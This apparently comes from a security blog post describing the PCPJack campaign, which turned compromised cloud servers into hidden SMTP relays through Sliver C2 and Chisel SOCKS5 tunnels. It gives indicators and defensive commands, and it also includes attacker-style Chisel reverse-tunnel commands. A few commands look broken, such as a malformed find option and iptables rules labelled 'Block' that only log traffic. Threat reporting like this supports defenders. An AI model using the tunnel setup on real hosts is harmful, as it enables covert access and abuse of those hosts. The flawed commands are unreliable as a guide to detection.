Listen to this Post
Introduction
A newly uncovered threat campaign demonstrates how attackers are turning legitimate cloud infrastructure into powerful, anonymous email-relay networks for spam and phishing. By exploiting exposed services and credential harvesting, the threat actor PCPJack compromised 230 cloud servers across AWS, Google Cloud, and Azure, converting them into a hidden SMTP proxy network that synchronizes verified proxy lists every five minutes.
Learning Objectives
– Understand the technical methodology behind PCPJack’s covert SMTP relay network, including the use of Sliver C2 and Chisel tunneling.
– Learn to detect compromised cloud servers by analyzing system artifacts, beaconing patterns, and outbound SMTP traffic.
– Implement cloud security hardening measures to prevent credential theft and exploitation of exposed services like Docker, Kubernetes, and Redis.
You Should Know
1. The Anatomy of the Attack: From Compromise to Email Relay
The PCPJack operation follows a multi-stage pipeline that transforms a hijacked cloud server into a fully automated email proxy. The campaign leveraged a credential theft framework targeting exposed Docker, Kubernetes, Redis, and MongoDB instances. Once a host is compromised, the attacker deploys a hidden binary named `xs` (located at `/var/tmp/.xs`) that persists across reboots. This binary initiates a beacon back to the Sliver C2 server, checking in periodically for commands. A Python deployer script then filters for Linux beacons that have recently communicated, and for each one, it runs a diagnostic to verify outbound access to `smtp.gmail.com:587`. Hosts that fail this email-relay check are discarded, underscoring the attacker’s clear objective. The working proxies are then tunneled via a SOCKS5 proxy, with each beacon assigned a deterministic port in the range 10000-14999 based on an MD5 hash of its Sliver UUID, eliminating the need for a shared registry.
Practical Steps to Recreate and Defend:
To understand how an attacker verifies SMTP relay capability, you can simulate the process using a Linux-based testing environment. Use netcat to test for open relay conditions:
Linux (bash):
Test SMTP relay on a host nc -v smtp.gmail.com 587 Check open ports and active tunnels ss -tlnp | grep -E ':(10000|14999)' Monitor for unauthorized Chisel processes ps aux | grep chisel
For defenders, ensure outbound SMTP is restricted and log all connection attempts:
Linux (iptables):
Block outbound SMTP from non-authorized sources iptables -A OUTPUT -p tcp --dport 25 -j LOG --log-prefix "SMTP_OUT_ATTEMPT" iptables -A OUTPUT -p tcp --dport 587 -j LOG --log-prefix "SMTP_OUT_ATTEMPT"
2. Tactical Breakdown: The Sliver-Integrated Deployment Pipeline
Once a server is deemed email-capable, the attacker employs a Sliver-integrated SMTP proxy deployment toolkit, which includes compiled binaries for Linux AMD64, ARM64, and x86 architectures. The deployer scripts run in batches of 50 beacons, with a 25-minute wait after uploads and a 15-minute pause after executing commands to accommodate varied beacon check-in intervals. A separate diagnostic script then confirms the presence of Chisel binaries, running processes, disk space, and C2 connectivity, ensuring operational resilience. The C2 server also runs a Python daemon named `chisel_verifier.py` that enumerates active Chisel tunnel ports, verifies SMTP capability every 60 seconds, and removes failed tunnels from the active pool.
Detection and Mitigation:
Defenders should monitor for the following indicators:
– C2 Beaconing: Look for regular, periodic outbound connections to C2 servers. Use Zeek or Suricata to detect patterns.
– Chisel Tunnel Activity: Use process auditing to detect Chisel binaries. On Linux, run:
auditctl -w /usr/bin/chisel -p x -k chisel_execution
– Hidden Persistence: Check for hidden dot-prefixed files in `/var/tmp/` or `/tmp/`:
find /var/tmp /tmp -type f -1ame "." -exec ls -la {} \;
Windows (PowerShell) for Remote Detection:
List hidden files in temp directory remotely via WinRM
Invoke-Command -ComputerName TARGET_IP -ScriptBlock { Get-ChildItem -Path C:\Windows\Temp -Force -Hidden }
3. Uncovering the Infrastructure: Open Directories and C2 Leakage
The Hunt.io team discovered two open directories on the PCPJack C2 server at `213.136.80[.]73` (port 8444 and 9443), which exposed the entire toolkit, including source code, compiled binaries, deployment state logs, and active scanning tools. The exposed directory on port 9443 contained live scanners, Spring Boot exploitation tools, a JVM heap dump credential parser, and a credential database with exactly 300 shards. This incident underscores the importance of securing C2 infrastructure and the risks of operational opsec failures.
Incident Response and Hardening:
– Harden C2 Infrastructure: Never leave management interfaces or directories open to the public internet. Use firewall rules to restrict access:
ufw deny 8444/tcp ufw deny 9443/tcp
– Monitor for Open Directories: Use automated scanning to detect exposed directories within your own environment. For cloud environments, use tools like `nmap` to identify open ports and hidden directories:
nmap -p 8444,9443 --script=http-enum <target_IP>
4. The Role of Chisel and SOCKS5 Tunnels in Stealth
Chisel is a fast TCP/UDP tunnel over HTTP, secured via SSH. The attackers used unmodified stock builds of Chisel to create encrypted tunnels from compromised servers to their C2, effectively bypassing network egress filtering. Each beacon was assigned a SOCKS5 proxy port in the 10000-14999 range, derived deterministically from an MD5 hash, which eliminated the need for a shared registry and prevented port conflicts.
Simulating a Chisel Tunnel for Testing Purposes:
Server (Attacker’s C2):
chisel server --port 8000 --reverse
Client (Compromised Server):
chisel client <C2_IP>:8000 R:socks
Defending Against Chisel:
– Network Detection: Look for HTTP traffic on non-standard ports with unusual user-agents.
– Application Whitelisting: Use AppLocker (Windows) or `fapolicyd` (Linux) to restrict execution of unauthorized binaries.
– Outbound Filtering: Implement egress filtering to allow only known, whitelisted IPs and ports.
What Undercode Say
– Key Takeaway 1: The PCPJack campaign demonstrates a new level of automation and efficiency in cloud exploitation, where compromised servers are not just used for cryptomining but repurposed as stealthy email relays, potentially for large-scale spam and phishing operations.
– Key Takeaway 2: The operational security failure of leaving open directories on the C2 server provided researchers with unprecedented visibility, but it also underscores that defenders must proactively hunt for similar misconfigurations within their own environments.
Analysis: The PCPJack campaign is a wake-up call for cloud security teams. The attack chain—leveraging exposed services like Docker, Kubernetes, and Redis—highlights the critical need for continuous monitoring of misconfigurations. The use of legitimate tools like Chisel and Sliver for covert communication blurs the line between benign and malicious activity, making detection more challenging. However, the attacker’s reliance on deterministic port mapping and persistent hidden files provides valuable signatures for threat hunting. Organizations must prioritize egress filtering, outbound SMTP monitoring, and strict application whitelisting to disrupt such relay networks. Furthermore, the incident reveals a growing trend: cybercriminals are moving away from noisy cryptominers toward stealthy, infrastructure-based attacks that generate long-term value through credential theft and email abuse.
Prediction
– +1 Cloud providers will enhance automated detection of SMTP relay abuse and outbound email anomalies, leveraging machine learning to identify compromised instances faster.
– -1 Attackers will pivot to more decentralized and harder-to-detect tunneling methods, such as using DNS tunneling or legitimate cloud APIs to bypass egress filtering.
– +1 Organizations will adopt more rigorous zero-trust egress policies, including default-deny outbound SMTP, to prevent unauthorized email relay.
– -1 The commoditization of such proxy networks could lower the barrier for spam and phishing campaigns, increasing the volume of malicious emails originating from legitimate cloud IPs.
▶️ Related Video (80% Match):
🎯Let’s Practice For Free:
🎓 Live Courses & Certifications:
[Join Undercode Academy for Verified Certifications](https://undercode.co.uk/certifications/)
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[[email protected]](mailto:[email protected])
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
IT/Security Reporter URL:
Reported By: [Mohit Hackernews](https://www.linkedin.com/posts/mohit-hackernews_hackers-turned-hijacked-cloud-servers-share-7468536851478286336-c4Xl/) – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]
[💬 Whatsapp](https://undercode.help/whatsapp) | [💬 Telegram](https://t.me/UndercodeCommunity)
📢 Follow UndercodeTesting & Stay Tuned:
[𝕏 formerly Twitter 🐦](https://x.com/undercodeupdate) | [@ Threads](https://www.threads.net/@undercodetesting) | [🔗 Linkedin](https://www.linkedin.com/company/undercodetesting/) | [🦋BlueSky](https://bsky.app/profile/undercode.bsky.social)
